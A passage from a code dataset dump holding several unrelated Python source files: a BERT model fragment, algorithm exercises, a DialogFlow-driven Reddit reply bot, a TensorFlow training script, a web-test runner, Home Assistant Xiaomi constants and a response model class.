self.sum_last_4hl:\n cls_output = torch.stack((outputs[2][-4][:,0, ...],outputs[2][-3][:,0, ...], outputs[2][-2][:,0, ...], outputs[2][-1][:,0, ...])).sum(0)\n # Sum 12 hidden layers\n elif self.sum_12hl:\n cls_output = torch.stack((outputs[2][0][:,0, ...],outputs[2][1][:,0, ...], outputs[2][2][:,0, ...], outputs[2][3][:,0, ...],\n outputs[2][4][:,0, ...],outputs[2][5][:,0, ...], outputs[2][6][:,0, ...], outputs[2][7][:,0, ...],\n outputs[2][8][:,0, ...],outputs[2][9][:,0, ...], outputs[2][10][:,0, ...], outputs[2][11][:,0, ...])).sum(0)\n \n final_output = self.dropout(cls_output)\n return final_output\n \n def forward(self, input_ids, attention_mask=None, token_type_ids=None):\n with torch.no_grad():\n final_output = self.compute(input_ids, attention_mask, token_type_ids)\n logits = self.qa_outputs(final_output)\n return logits\n\n def loss(self, input_ids, attention_mask, token_type_ids, label):\n target = label\n \n final_output = self.compute(input_ids, attention_mask, token_type_ids)\n# print(final_output.size())\n \n logits = self.qa_outputs(final_output)\n loss = F.cross_entropy(logits, target)\n\n predict_value = torch.max(logits, 1)[1]\n list_predict = predict_value.cpu().numpy().tolist()\n list_target = target.cpu().numpy().tolist()\n\n return loss, list_predict, list_target","sub_path":"model/BERT.py","file_name":"BERT.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"361575058","text":"#테스트 케이스 수 입력\nT = int(input())\nfor tc in range(1, T+1):\n sen = input()\n lst=[]\n #문장을 돌며 이전에 담긴 문자와 담으려고 하는 문자가 같다면 제거해준다.\n for s in sen:\n if lst and s == lst[-1]:\n lst.pop()\n else:\n lst.append(s)\n print('#{}'.format(tc), len(lst))","sub_path":"Algorithm/swea/[4873] 반복문자 지우기.py","file_name":"[4873] 반복문자 지우기.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"375569315","text":"\"\"\"\nCreated by Alexander Swanson on 6/25/18.\nCopyright (c) 2018, Alexander Joseph Swanson Villares\nalexjosephswanson@gmail.com\n\nThe script for the Reddit Agent that implements DialogFlow.\n\"\"\"\n\n\n\"\"\" Imports \"\"\"\nfrom google.api_core.exceptions import InvalidArgument\nfrom praw.exceptions import APIException\nimport dialogflow\nimport praw\nimport time\nimport google\n\n\nclass DialogFlowAgent:\n \"\"\"\n An Agent for the use of DialogFlow to create conversations on Reddit comment sections about a given problem-topic.\n \"\"\"\n\n \"\"\" Constructor \"\"\"\n def __init__(\n self,\n reddit_parameters: tuple,\n submission_id: str,\n gcp_project_id: str,\n gcp_session_id: str = \"dialogflow_reddit_moderation_agent\",\n gcp_language_code: str = \"en\",\n ):\n \"\"\"\n Initializes a new DialogFlowAgent to conduct operations on the provided Submission.\n\n :param reddit_parameters: The values necessary to create access to the Reddit API and Reddit data. The 5-tuple\n structure must always be provided in the order:\n 1. client_id\n 2. client_secret\n 3. user_agent\n 4. username\n 5. password\n :param submission_id: The ID of the Submission for which to conduct operations.\n :param gcp_project_id: The Project ID, respective to the project on the Google Cloud Platform.\n :param gcp_session_id: Provides a description for the current session.\n :param gcp_language_code: The code indicating which language the DialogFlow agent is expected to interpret.\n \"\"\"\n\n # Define the Reddit instance with the specified parameters.\n self.reddit_instance = praw.Reddit(\n client_id=reddit_parameters[0],\n client_secret=reddit_parameters[1],\n user_agent=reddit_parameters[2],\n username=reddit_parameters[3],\n password=reddit_parameters[4]\n )\n\n # Define the Subreddit for work.\n self.submission = self.reddit_instance.submission(id=submission_id)\n\n # Define Google Cloud Platform (GCP) Parameters.\n self.gcp_project_id = gcp_project_id\n self.gcp_session_id = gcp_session_id\n self.gcp_language_code = gcp_language_code\n self.gcp_session_client = dialogflow.SessionsClient()\n self.gcp_session = self.gcp_session_client.session_path(self.gcp_project_id, self.gcp_session_id)\n\n\n \"\"\" Methods \"\"\"\n def define_gcp_parameters(self):\n \"\"\"\n Redefines the GCP parameters (necessary due to an error caused by the GCP remote).\n \"\"\"\n\n # # Define Google Cloud Platform (GCP) Parameters.\n # self.gcp_project_id = self.gcp_project_id\n #\n # # Session ID.\n # self.gcp_session_id = self.gcp_session_id\n #\n # # Language code.\n # self.gcp_language_code = self.gcp_language_code\n\n\n # Define the Sessions Client.\n self.gcp_session_client = dialogflow.SessionsClient()\n\n # Define the GCP Session.\n self.gcp_session = self.gcp_session_client.session_path(self.gcp_project_id, self.gcp_session_id)\n\n\n def print_subm_comments(self):\n \"\"\"\n Prints the content of the Comments of the working Submission.\n \"\"\"\n\n # Define list of all Comment objects from the specified Submission.\n self.submission.comments.replace_more(limit=0)\n submission_comments = self.submission.comments.list()\n\n # Output every comment to console.\n for comment in submission_comments:\n\n print(comment.body, \"\\n\", '=' * 30, \"\\n\")\n\n\n def run(self, process_time_limit: int = 0, engage=False):\n \"\"\"\n The main process. The program monitors the working Submission, first generating a response (Comment) to any of\n the existing Submission's Comments that merit a response.\n\n :param process_time_limit: The limit time for the mainloop (in seconds).\n :param engage: Boolean controller for whether or not to submit generated replies to Comments.\n :return: 0 indicating a process exit.\n \"\"\"\n\n # Define the list of all Comments that have been engaged.\n engaged_comments = []\n\n # Define the list of the responses that have been generated.\n comment_responses = []\n\n # Define the process time limit.\n time_limit = time.time() + process_time_limit\n\n # Define counter for mainloop iterations.\n mainloop_iterations = 0\n\n # Run the process until 'process_time_limit' is exceeded.\n while time.time() <= time_limit:\n\n # Process a short sleep to avoid CPU hog.\n time.sleep(1)\n\n # Define list of all Comment objects of the specified Submission.\n self.submission.comments.replace_more(limit=0)\n submission_comments = self.submission.comments.list()\n\n # Consider every Comment for a response.\n for comment in submission_comments:\n\n # Define reference to the Comment context (body).\n comment_content = comment.body\n\n try:\n\n # TODO: Determine an appropriate value.\n # Ignore Comment is the context length is less than 5 (three words).\n if len(comment_content.split()) < 5:\n\n print(\n \"Encountered Comment of insufficient context length. Adding Comment to 'engaged_comments' \"\n \"and continuing process.\\n\", \"-\" * 20\n )\n\n # Add Comment object to 'engaged_comments'.\n engaged_comments.append(comment)\n continue\n\n # Ignore Comment if it has already been processed.\n elif comment in engaged_comments:\n\n print(\"Encountered Comment which has already been processed. Continuing process.\\n\", \"-\" * 20)\n continue\n\n # Generate a response to the comment with the DialogFlow API.\n else:\n\n # Respond to the Comment.\n self.respond(comment, comment_content, comment_responses, engage, engaged_comments)\n\n # Stall process.\n time.sleep(600)\n\n # Catch exception for invalid input to the GCP API.\n except google.api_core.exceptions.InvalidArgument:\n\n # Output status.\n print(\n \"Encountered invalid GCP API argument. Comment context length is likely too large.\",\n \"Adding Comment to 'engaged_comments' and continuing process.\\n\", \"-\" * 20\n )\n\n # Archive Comment object to 'engaged_comments'.\n engaged_comments.append(comment)\n\n continue\n\n # Catch Reddit API server-side error.\n except praw.exceptions.APIException:\n\n # Output status.\n print(\n \"Encountered Reddit Comment creation limit. Adding Comment to 'engaged_comments' and \"\n \"continuing process.\\n\", \"-\" * 20\n )\n\n # Archive Comment object to 'engaged_comments'.\n engaged_comments.append(comment)\n\n continue\n\n # Catch a KeyboardInterrupt; this is likely to be the most common way to end the process.\n except KeyboardInterrupt:\n\n # Output status.\n print(\"Finished loop: \", mainloop_iterations)\n print(\"Encountered keyboard interrupt; terminating process.\")\n\n # End process.\n return 0\n\n finally:\n\n # Redefine the GCP parameters.\n self.define_gcp_parameters()\n\n # Output status.\n print(\n \"Finished loop: \", mainloop_iterations, \"\\nBeginning process stall for 5 minutes.\\n\", \"=\" * 20, \"\\n\\n\"\n )\n\n # Increment mainloop iterations record.\n mainloop_iterations += 1\n\n # Stall process.\n time.sleep(600)\n\n # Output status.\n print(\"\\n\", \"Reached time-limit; completed process.\")\n\n\n def respond(\n self, comment, comment_content: str, comment_responses: list, engage: bool, engaged_comments: list\n ):\n \"\"\"\n Generates a response to a Comment if the generated response has not already been used and submits it to Reddit\n if desired.\n\n :param comment: The working Submission's Comment.\n :param comment_content: The body of the Comment.\n :param comment_responses: The collection of responses that have previously been used.\n :param engage: The boolean indicating whether or not to submit the generated response.\n :param engaged_comments: The collection of Comments of the working Submission that have previously been engaged.\n \"\"\"\n\n # Generate response to the comment.\n comment_response = self.generate_dialogflow_response(comment_content)\n\n # Create a response for the comment if the generated response has not already been used.\n if comment_response not in comment_responses:\n\n # Create a response to the Comment with a body generated by the DialogFlow API.\n if engage:\n comment.reply(comment_response)\n\n # Archive comment to 'engaged_comments'.\n engaged_comments.append(comment)\n\n # Archive generated response to 'comment_responses'.\n comment_responses.append(comment_response)\n\n # Stall process continuation in order to account for Reddit Comment creation rules and to\n # ensure desirable perception of the Agent on Reddit.\n print(\n \"Responded to Comment: \\n\",\n comment_content, \"\\n\",\n \"With: \\n\",\n comment_response, \"\\n\"\n \"\\n\",\n \"Beginning process stall for 5 minutes.\",\n \"\\n\",\n \"-\" * 20,\n )\n\n # Currently ignoring COMMENT if a RESPONSE is received that has already been used.\n else:\n\n # Output status: account for prevention of repeated response.\n print(\n \"Received repeated Comment response. Continuing without action. \\n\",\n \"Beginning process stall for 5 minutes.\", \"\\n\", \"-\" * 20\n )\n\n # Archive comment to 'engaged_comments'.\n engaged_comments.append(comment)\n\n\n def generate_dialogflow_response(self, text):\n \"\"\"\n Generates an appropriate response to a provided body of text using DialogFlow.\n\n :return: The generated response.\n \"\"\"\n\n # Define the text input container for DialogFlow.\n text_input = dialogflow.types.TextInput(\n text=text,\n language_code=self.gcp_language_code\n )\n\n # Define the DialogFlow text input query.\n query_input = dialogflow.types.QueryInput(text=text_input)\n\n # Define a reference to the DialogFlow-generated response.\n response = self.gcp_session_client.detect_intent(\n session=self.gcp_session,\n query_input=query_input\n )\n\n # Return the response.\n return response.query_result.fulfillment_text\n","sub_path":"experiments/experiment3/src/py/dialog_flow_agent.py","file_name":"dialog_flow_agent.py","file_ext":"py","file_size_in_byte":11561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"415169611","text":"import math\nmath.radians(32)\n\n#printing out the surface area and volume of a sphere.\n\ndef radius():\n radius = int(input(\"radius\"))\n area = (math.pi * radius * radius)\n volume = (2 * math.pi * radius)\n answers = {\"area\" : area, \"volume\" : volume}\n print (answers)\n\n# splitting a sentence into its words\n\nsentence = (\"where are you\" ,\"ana\" , \"kofi\")\n\nprint (sentence)\n\n","sub_path":"My pyt6hon labs.py","file_name":"My pyt6hon labs.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"593439958","text":"# Square remainders\n# Problem 120\n\nimport time\nimport math\n\ndef solve(n):\n tStart = time.time()\n \n print(sum(list(map(max, range(3,n+1)))))\n \n print(\"Run Time = \" + str(time.time() - tStart))\n\n\ndef f(n,a):\n return ((a+1)**n+(a-1)**n)%a**2\n \n \ndef max(a):\n m = 0\n for i in range(1,2*a+1):\n h = f(i,a)\n if h > m:\n m = h\n return m","sub_path":"problem120.py","file_name":"problem120.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"559576928","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 18-9-18\n\n@author: Suspext\n\"\"\"\nimport warnings\nfrom Model.CNN.tf import googlenet as g\nfrom Model.tfHelper import TFHelper\nfrom Base.Data.imgData import ImageData\n\nwarnings.filterwarnings('ignore')\n\nif __name__ == '__main__':\n AL = ImageData('AL_defect', reshape=(299, 299), flag='train', val_split=0.1,\n image_path='origin')\n AL.build_tfrecords('train')\n AL.build_tfrecords('val')\n\n m = g.Inception_ResNet_v1\n cnn_params = m([1, 1, 1])\n cnn_params['cnn']['fc1'][0] = 256\n cnn_params['cnn']['fc1'][1] = 0.5\n cnn_params['weight'][2] = None\n model = TFHelper(AL, cnn_params, m.__name__, optimizer_type='adam', data_mode='dataset',\n batch_size=64, epochs=100, check_step=1)\n model.set_GPU(gpu_id='0', gpu_memory_rate=0.9)\n model.train(params_path='')\n","sub_path":"application/tianchi/AL_defect.py","file_name":"AL_defect.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"250495049","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom PyWebRunner import WebTester\nfrom yaml import load\nfrom json import loads\n\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser(description='Run a PyWebRunner YAML/JSON script.')\n parser.add_argument('-b', '--browser', help='Which browser to load. Defaults to Chrome.')\n parser.add_argument('--base-url', help='Base URL to use with goto command.')\n parser.add_argument('-t', '--timeout', help='Global wait timeout (in seconds). Defaults to 30.')\n parser.add_argument('--errors', dest='errors', action='store_true', help='Show errors.')\n parser.add_argument('--focus', dest='focus', action='store_true', help='Focus the browser on launch.')\n parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', help='Verbose output of commands being executed.')\n parser.add_argument('files', nargs='*')\n args = parser.parse_args()\n\n errors = args.errors or False\n driver = args.browser or 'Chrome'\n timeout = args.timeout or 30\n wt = WebTester(driver=driver, base_url=args.base_url, timeout=int(timeout))\n wt.start()\n if args.focus:\n wt.focus_browser()\n\n for filepath in args.files:\n print(\"Processing {}:\".format(filepath))\n with open(filepath, 'r') as f:\n if filepath.lower().endswith('yaml') or filepath.lower().endswith('yml'):\n script = load(f)\n elif filepath.lower().endswith('json'):\n script = loads(f.read())\n else:\n print(\"Couldn't detect filetype from extension. Defaulting to YAML.\")\n script = load(f)\n wt.command_script(script=script, errors=errors, verbose=args.verbose)\n wt.stop()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"PyWebRunner/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"420463862","text":"#!/usr/bin/env python\n\n\nclass SolicitacaoResponse:\n\n def __init__(self):\n self.swaggerTypes = {\n 'id': 'str',\n 'nome_regional': 'str',\n 'codigo_regiao': 'str',\n 'nome_regiao': 'str',\n 'secretaria': 'str',\n 'codigo_bairro': 'int',\n 'nome_bairro': 'str',\n 'codigo_assunto': 'int',\n 'descricao_assunto': 'str',\n 'ano_solicitacao': 'int',\n 'tipo_solicitacao': 'int',\n 'descricao_tipo_solicitacao': 'str',\n 'status_solicitacao': 'int',\n 'descricao_status': 'str',\n 'data_cadastro': 'datetime',\n 'data_previsao_resposta': 'datetime',\n 'data_atendimento': 'datetime',\n 'data_conclusao': 'datetime',\n 'cep': 'str',\n 'tipo_logradouro': 'str',\n 'nome_logradouro': 'str',\n 'data_providencia': 'datetime'\n \n }\n\n self.attributeMap = {\n 'id': 'ID',\n 'nome_regional': 'nomeRegional',\n 'codigo_regiao': 'codigoRegiao',\n 'nome_regiao': 'nomeRegiao',\n 'secretaria': 'secretaria',\n 'codigo_bairro': 'codigoBairro',\n 'nome_bairro': 'nomeBairro',\n 'codigo_assunto': 'codigoAssunto',\n 'descricao_assunto': 'descricaoAssunto',\n 'ano_solicitacao': 'anoSolicitacao',\n 'tipo_solicitacao': 'tipoSolicitacao',\n 'descricao_tipo_solicitacao': 'descricaoTipoSolicitacao',\n 'status_solicitacao': 'statusSolicitacao',\n 'descricao_status': 'descricaoStatus',\n 'data_cadastro': 'dataCadastro',\n 'data_previsao_resposta': 'dataPrevisaoResposta',\n 'data_atendimento': 'dataAtendimento',\n 'data_conclusao': 'dataConclusao',\n 'cep': 'cep',\n 'tipo_logradouro': 'tipoLogradouro',\n 'nome_logradouro': 'nomeLogradouro',\n 'data_providencia': 'dataProvidencia'\n \n }\n\n \n #Identificador do registro.\n \n self.id = None # str\n \n #Nome da administração regional.\n \n self.nome_regional = None # str\n \n #Código da região.\n \n self.codigo_regiao = None # str\n \n #Nome / Descrição da região.\n \n self.nome_regiao = None # str\n \n #Nome da secretária.\n \n self.secretaria = None # str\n \n #Código da bairro.\n \n self.codigo_bairro = None # int\n \n #Nome do bairro.\n \n self.nome_bairro = None # str\n \n #Código do assunto da solicitação.\n \n self.codigo_assunto = None # int\n \n #Descrição do assunto da solicitação.\n \n self.descricao_assunto = None # str\n \n #Ano em que a solicitação ocorreu.\n \n self.ano_solicitacao = None # int\n \n #Código referente ao tipo de solicitação.\n \n self.tipo_solicitacao = None # int\n \n #Descrição do tipo de solicitação realizada.\n \n self.descricao_tipo_solicitacao = None # str\n \n #Código do status da solicitação.\n \n self.status_solicitacao = None # int\n \n #Descrição do status.\n \n self.descricao_status = None # str\n \n #Data do cadastramento da solicitação.\n \n self.data_cadastro = None # datetime\n \n #Data da previsão de resposta da solicitação depois de executada.\n \n self.data_previsao_resposta = None # datetime\n \n #Data em que o atendimento ocorreu\n \n self.data_atendimento = None # datetime\n \n #Data em que a solicitação foi concluída.\n \n self.data_conclusao = None # datetime\n \n #CEP\n \n self.cep = None # str\n \n #Tipo de logradouro (Exemplo > Rua, Avenida, etc.)\n \n self.tipo_logradouro = None # str\n \n #Nome da rua / logradouro.\n \n self.nome_logradouro = None # str\n \n #Data da providência\n \n self.data_providencia = None # datetime\n \n","sub_path":"client/model/SolicitacaoResponse.py","file_name":"SolicitacaoResponse.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"104032348","text":"import curses\nimport time\nimport init\nmenu=[\"Jugar\",\"options\",\"Exit\"]\n\ndef printmenu(stdscr,num):\n stdscr.clear()\n h,w= stdscr.getmaxyx()\n for idx,txt in enumerate(menu):\n x=w//2 -len(txt)//2\n y=h//2-len(menu)+idx\n curses.init_pair(1,curses.COLOR_BLACK,curses.COLOR_WHITE)\n if idx==num:\n stdscr.attron(curses.color_pair(1))\n stdscr.addstr(y,x,txt)\n stdscr.attroff(curses.color_pair(1))\n else:\n stdscr.addstr(y,x,txt)\n \n\n stdscr.refresh()\n\n\ndef main(stdscr):\n stdscr.clear()\n row=0\n printmenu(stdscr,row)\n\n while(1):\n key=stdscr.getch()\n if key==curses.KEY_UP and row>0:\n row-=1\n elif key==curses.KEY_DOWN and row= 0:\n cfg_for_reg[index_pair][1][index_field] = field\n else:\n cfg_for_reg[index_pair][1].append(field)\n\n\ndef merge_cfg(cfg):\n for pair in cfg:\n index_pair = find_group(pair[0])\n if index_pair == -1:\n cfg_for_reg.append(pair)\n else:\n merge_fields(index_pair, pair[1])\n\n\ndef collector_configs_plugins():\n plugins = get_plugins()\n for plugin in plugins:\n merge_cfg(plugin[1].cfg_for_reg)\n name_configs.append('addons/%s/configs/config.ini' % plugin[0])\n\nif __name__ == '__main__':\n collector_configs_plugins()\n init_config()\n","sub_path":"cfglib.py","file_name":"cfglib.py","file_ext":"py","file_size_in_byte":14287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"307992618","text":"import numpy as np\nfrom MeDIT.Visualization import Imshow3DArray\nimport SimpleITK as sitk\n\nindex_list = np.load(r'C:\\Users\\amber\\PycharmProjects\\untitled\\tianzi\\task001\\index_list.npy')\n# image_shape = (384, 288, 64)\n\ndef image_access(image_path):\n image_read = sitk.ReadImage(image_path)\n image_content = image_read.GetSize()[0:3]\n return image_content\n\ndef GenerateData(image_shape, index_list):\n recon_data = np.zeros(image_shape)\n start = 3\n end = index_list[2] + 3\n for roi_index in range(index_list[1]):\n for index in range(start, end, 4):\n if index_list[start - 1] == 4:\n break\n if index_list[index] > image_shape[0]:\n continue\n recon_data[index_list[index], index_list[index + 1], index_list[index + 2]] = 1\n start = end + 1\n end += index_list[start-1] + 1\n\n return recon_data\n\nimage_path = r'C:\\Users\\amber\\PycharmProjects\\untitled\\tianzi\\task001\\T1W.nii'\nimage_shape = image_access(image_path)\ntemp = GenerateData(image_shape, index_list)\nImshow3DArray(temp)","sub_path":"NiiVisualization/test007_SY.py","file_name":"test007_SY.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"535510747","text":"\"\"\"Constants for the Xiaomi Miio component.\"\"\"\nDOMAIN = \"xiaomi_miio\"\n\n# Config flow\nCONF_FLOW_TYPE = \"config_flow_device\"\nCONF_GATEWAY = \"gateway\"\nCONF_DEVICE = \"device\"\nCONF_MODEL = \"model\"\nCONF_MAC = \"mac\"\nCONF_CLOUD_USERNAME = \"cloud_username\"\nCONF_CLOUD_PASSWORD = \"cloud_password\"\nCONF_CLOUD_COUNTRY = \"cloud_country\"\nCONF_MANUAL = \"manual\"\n\n# Options flow\nCONF_CLOUD_SUBDEVICES = \"cloud_subdevices\"\n\nKEY_COORDINATOR = \"coordinator\"\n\nATTR_AVAILABLE = \"available\"\n\n# Cloud\nSERVER_COUNTRY_CODES = [\"cn\", \"de\", \"i2\", \"ru\", \"sg\", \"us\"]\nDEFAULT_CLOUD_COUNTRY = \"cn\"\n\n# Fan Models\nMODEL_AIRPURIFIER_V1 = \"zhimi.airpurifier.v1\"\nMODEL_AIRPURIFIER_V2 = \"zhimi.airpurifier.v2\"\nMODEL_AIRPURIFIER_V3 = \"zhimi.airpurifier.v3\"\nMODEL_AIRPURIFIER_V5 = \"zhimi.airpurifier.v5\"\nMODEL_AIRPURIFIER_PRO = \"zhimi.airpurifier.v6\"\nMODEL_AIRPURIFIER_PRO_V7 = \"zhimi.airpurifier.v7\"\nMODEL_AIRPURIFIER_M1 = \"zhimi.airpurifier.m1\"\nMODEL_AIRPURIFIER_M2 = \"zhimi.airpurifier.m2\"\nMODEL_AIRPURIFIER_MA1 = \"zhimi.airpurifier.ma1\"\nMODEL_AIRPURIFIER_MA2 = \"zhimi.airpurifier.ma2\"\nMODEL_AIRPURIFIER_SA1 = \"zhimi.airpurifier.sa1\"\nMODEL_AIRPURIFIER_SA2 = \"zhimi.airpurifier.sa2\"\nMODEL_AIRPURIFIER_2S = \"zhimi.airpurifier.mc1\"\nMODEL_AIRPURIFIER_2H = \"zhimi.airpurifier.mc2\"\nMODEL_AIRPURIFIER_3 = \"zhimi.airpurifier.ma4\"\nMODEL_AIRPURIFIER_3H = \"zhimi.airpurifier.mb3\"\nMODEL_AIRPURIFIER_PROH = \"zhimi.airpurifier.va1\"\n\nMODEL_AIRHUMIDIFIER_V1 = \"zhimi.humidifier.v1\"\nMODEL_AIRHUMIDIFIER_CA1 = \"zhimi.humidifier.ca1\"\nMODEL_AIRHUMIDIFIER_CA4 = \"zhimi.humidifier.ca4\"\nMODEL_AIRHUMIDIFIER_CB1 = \"zhimi.humidifier.cb1\"\n\nMODEL_AIRFRESH_VA2 = \"zhimi.airfresh.va2\"\n\nMODELS_PURIFIER_MIOT = [\n MODEL_AIRPURIFIER_3,\n MODEL_AIRPURIFIER_3H,\n MODEL_AIRPURIFIER_PROH,\n]\nMODELS_HUMIDIFIER_MIOT = [MODEL_AIRHUMIDIFIER_CA4]\nMODELS_FAN_MIIO = [\n MODEL_AIRPURIFIER_V1,\n MODEL_AIRPURIFIER_V2,\n MODEL_AIRPURIFIER_V3,\n MODEL_AIRPURIFIER_V5,\n MODEL_AIRPURIFIER_PRO,\n MODEL_AIRPURIFIER_PRO_V7,\n MODEL_AIRPURIFIER_M1,\n MODEL_AIRPURIFIER_M2,\n MODEL_AIRPURIFIER_MA1,\n MODEL_AIRPURIFIER_MA2,\n MODEL_AIRPURIFIER_SA1,\n MODEL_AIRPURIFIER_SA2,\n MODEL_AIRPURIFIER_2S,\n MODEL_AIRPURIFIER_2H,\n MODEL_AIRHUMIDIFIER_V1,\n MODEL_AIRHUMIDIFIER_CA1,\n MODEL_AIRHUMIDIFIER_CB1,\n MODEL_AIRFRESH_VA2,\n]\n\n# AirQuality Models\nMODEL_AIRQUALITYMONITOR_V1 = \"zhimi.airmonitor.v1\"\nMODEL_AIRQUALITYMONITOR_B1 = \"cgllc.airmonitor.b1\"\nMODEL_AIRQUALITYMONITOR_S1 = \"cgllc.airmonitor.s1\"\nMODEL_AIRQUALITYMONITOR_CGDN1 = \"cgllc.airm.cgdn1\"\n\n# Light Models\nMODELS_LIGHT_EYECARE = [\"philips.light.sread1\"]\nMODELS_LIGHT_CEILING = [\"philips.light.ceiling\", \"philips.light.zyceiling\"]\nMODELS_LIGHT_MOON = [\"philips.light.moonlight\"]\nMODELS_LIGHT_BULB = [\n \"philips.light.bulb\",\n \"philips.light.candle\",\n \"philips.light.candle2\",\n \"philips.light.downlight\",\n]\nMODELS_LIGHT_MONO = [\"philips.light.mono1\"]\n\n# Model lists\nMODELS_GATEWAY = [\"lumi.gateway\", \"lumi.acpartner\"]\nMODELS_SWITCH = [\n \"chuangmi.plug.v1\",\n \"chuangmi.plug.v3\",\n \"chuangmi.plug.hmi208\",\n \"qmi.powerstrip.v1\",\n \"zimi.powerstrip.v2\",\n \"chuangmi.plug.m1\",\n \"chuangmi.plug.m3\",\n \"chuangmi.plug.v2\",\n \"chuangmi.plug.hmi205\",\n \"chuangmi.plug.hmi206\",\n]\nMODELS_FAN = MODELS_FAN_MIIO + MODELS_HUMIDIFIER_MIOT + MODELS_PURIFIER_MIOT\nMODELS_LIGHT = (\n MODELS_LIGHT_EYECARE\n + MODELS_LIGHT_CEILING\n + MODELS_LIGHT_MOON\n + MODELS_LIGHT_BULB\n + MODELS_LIGHT_MONO\n)\nMODELS_VACUUM = [\"roborock.vacuum\", \"rockrobo.vacuum\"]\nMODELS_AIR_MONITOR = [\n MODEL_AIRQUALITYMONITOR_V1,\n MODEL_AIRQUALITYMONITOR_B1,\n MODEL_AIRQUALITYMONITOR_S1,\n MODEL_AIRQUALITYMONITOR_CGDN1,\n]\n\nMODELS_ALL_DEVICES = (\n MODELS_SWITCH + MODELS_VACUUM + MODELS_AIR_MONITOR + MODELS_FAN + MODELS_LIGHT\n)\nMODELS_ALL = MODELS_ALL_DEVICES + MODELS_GATEWAY\n\n# Fan Services\nSERVICE_SET_BUZZER_ON = \"fan_set_buzzer_on\"\nSERVICE_SET_BUZZER_OFF = \"fan_set_buzzer_off\"\nSERVICE_SET_FAN_LED_ON = \"fan_set_led_on\"\nSERVICE_SET_FAN_LED_OFF = \"fan_set_led_off\"\nSERVICE_SET_CHILD_LOCK_ON = \"fan_set_child_lock_on\"\nSERVICE_SET_CHILD_LOCK_OFF = \"fan_set_child_lock_off\"\nSERVICE_SET_LED_BRIGHTNESS = \"fan_set_led_brightness\"\nSERVICE_SET_FAVORITE_LEVEL = \"fan_set_favorite_level\"\nSERVICE_SET_FAN_LEVEL = \"fan_set_fan_level\"\nSERVICE_SET_AUTO_DETECT_ON = \"fan_set_auto_detect_on\"\nSERVICE_SET_AUTO_DETECT_OFF = \"fan_set_auto_detect_off\"\nSERVICE_SET_LEARN_MODE_ON = \"fan_set_learn_mode_on\"\nSERVICE_SET_LEARN_MODE_OFF = \"fan_set_learn_mode_off\"\nSERVICE_SET_VOLUME = \"fan_set_volume\"\nSERVICE_RESET_FILTER = \"fan_reset_filter\"\nSERVICE_SET_EXTRA_FEATURES = \"fan_set_extra_features\"\nSERVICE_SET_TARGET_HUMIDITY = \"fan_set_target_humidity\"\nSERVICE_SET_DRY_ON = \"fan_set_dry_on\"\nSERVICE_SET_DRY_OFF = \"fan_set_dry_off\"\nSERVICE_SET_MOTOR_SPEED = \"fan_set_motor_speed\"\n\n# Light Services\nSERVICE_SET_SCENE = \"light_set_scene\"\nSERVICE_SET_DELAYED_TURN_OFF = \"light_set_delayed_turn_off\"\nSERVICE_REMINDER_ON = \"light_reminder_on\"\nSERVICE_REMINDER_OFF = \"light_reminder_off\"\nSERVICE_NIGHT_LIGHT_MODE_ON = \"light_night_light_mode_on\"\nSERVICE_NIGHT_LIGHT_MODE_OFF = \"light_night_light_mode_off\"\nSERVICE_EYECARE_MODE_ON = \"light_eyecare_mode_on\"\nSERVICE_EYECARE_MODE_OFF = \"light_eyecare_mode_off\"\n\n# Remote Services\nSERVICE_LEARN = \"remote_learn_command\"\nSERVICE_SET_REMOTE_LED_ON = \"remote_set_led_on\"\nSERVICE_SET_REMOTE_LED_OFF = \"remote_set_led_off\"\n\n# Switch Services\nSERVICE_SET_WIFI_LED_ON = \"switch_set_wifi_led_on\"\nSERVICE_SET_WIFI_LED_OFF = \"switch_set_wifi_led_off\"\nSERVICE_SET_POWER_MODE = \"switch_set_power_mode\"\nSERVICE_SET_POWER_PRICE = \"switch_set_power_price\"\n\n# Vacuum Services\nSERVICE_MOVE_REMOTE_CONTROL = \"vacuum_remote_control_move\"\nSERVICE_MOVE_REMOTE_CONTROL_STEP = \"vacuum_remote_control_move_step\"\nSERVICE_START_REMOTE_CONTROL = \"vacuum_remote_control_start\"\nSERVICE_STOP_REMOTE_CONTROL = \"vacuum_remote_control_stop\"\nSERVICE_CLEAN_SEGMENT = \"vacuum_clean_segment\"\nSERVICE_CLEAN_ZONE = \"vacuum_clean_zone\"\nSERVICE_GOTO = \"vacuum_goto\"\n","sub_path":"homeassistant/components/xiaomi_miio/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":5976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"409349544","text":"import pandas as pd\nimport numpy as np\nfrom pathlib import Path\nfrom collections import Counter\nimport itertools\nimport logging\n\nfrom sklearn.model_selection import train_test_split\n\nfrom pipeline.rewriter import create_rewriter\nfrom pipeline.catboost_reranker import CatboostReranker\n\nMODEL_PATH = Path('models')\nREWRITER_PATH = MODEL_PATH / 'rewrite'\nRERANKER_PATH = MODEL_PATH / 